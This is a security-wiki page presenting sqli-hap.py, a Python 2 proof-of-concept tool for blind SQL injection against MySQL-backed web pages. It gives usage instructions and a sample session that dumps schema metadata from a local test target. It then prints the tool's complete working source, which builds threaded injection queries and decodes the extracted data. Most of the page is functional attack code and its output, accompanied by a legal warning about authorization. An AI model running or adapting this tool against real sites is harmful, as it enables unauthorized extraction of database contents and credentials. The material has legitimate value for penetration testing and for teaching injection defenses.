Questions about this topic? Sign up to ask in the talk tab.
SQL injection/mysqli-blindutils/sqli-hap.py
From NetSec
(Redirected from Sqli-hap.py source)
- Main article: mysqli-blindutils
sqli-hap.py is tuned to extract a single byte of compressed data per request and requires 255 non-sequential rows in the injectable SQL query's potential result set. |
This Python proof of concept uses comparative precomputation to perform blind sql injection, but does not automatically determine the context of the vulnerability or extract multiple bytes in a single request at this time.
Usage
- Basic:
Terminal |
localhost:~ $ ./sqli-hap.py [url] [column] [table] |
- Example:
╭─user@host ~ ╰─➤ ./pub-sqli-hap.py http://127.0.0.1/sqli.php\?id\= id users [*] Attacking: http://127.0.0.1/sqli.php?id= [*] Checking for existing session [*] Building precomputation table.. [*] Percent complete: 100.00% -- Time elapsed: 1.35 seconds -- Estimated time left: 0.00 [*] Precomputation table built in 1.379987 seconds. [*] Enter a sql query: sql shell> select group_concat(table_name,0x2e,column_name,0x0a) from information_schema.columns where table_schema='mysql' [*] Percent complete: 100.00% -- Time elapsed: 3.48 seconds -- Estimated time left: 0.00 columns_priv.Host ,columns_priv.Db ,columns_priv.User ,columns_priv.Table_name ,columns_priv.Column_name ,columns_priv.Timestamp ,columns_priv.Column_priv ,db.Host ,db.Db ,db.User ,db.Select_priv ,db.Insert_priv ,db.Update_priv ,db.Delete_priv ,db.Create_priv ,db.Drop_priv ,db.Grant_priv ,db.References_priv ,db.Index_priv ,db.Alter_priv ,db.Create_tmp_table_priv ,db.Lock_tables_priv ,db.Create_view_priv ,db.Show_view_priv ,db.Create_routine_priv ,db.Alter_routine_priv ,db.Execute_priv ,db.Event_priv ,db.Trigger_priv ,event.db ,event.name ,event.body ,event.definer ,event.execute_at ,event.interval_value ,event.interval_field ,event.created ,event.modified ,event.last_executed ,event.starts ,event.ends ,event.status ,event.on_completion ,event.sql_mode ,event.comment ,event.originator ,event.time_zone ,event.character_set_client ,event.collation_connection ,event.db_collation ,event.body_utf8 ,func.name ,func.ret ,func.dl ,func.type ,general_log.event_time ,general_log.user_host ,general_log.thread_id ,general Requests: 389 (3.647493 seconds) Length of retrieved data: 1024 sql shell> exit [*] Good bye |
Source
It is a crime to use techniques or tools on this page against any system without written authorization unless the system in question belongs to you |
#!/usr/bin/python2 #!/usr/bin/python2 import sys import urllib2 import time from binascii import hexlify import _mysql import md5 import pickle import re import os import threading import Queue import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi') BOLD = '\033[1m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' ENDC = '\033[0m' def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko)' \ ' Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read() def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery) def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection) def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1 length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1 return (int(length), counter) def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return query def do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()])) def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest()) def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush() def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = "" if type_query == 0: i = 0 else: i = 1 sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time() while i < length: threads = {} queues = [] for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads[i] = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time) for thread in threads: threads[thread].start() for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join() sys.stdout.write('\n') sys.stdout.flush() if type_query == 0: return ascii_table else: return (counter, query_result) def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2] print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC) print "%s[*]%s Enter a sql query:" % (GREEN, ENDC) while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter) (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1) query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close() print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC) print "%s[*]%s Good bye" % (GREEN, ENDC) if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit() print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3]) |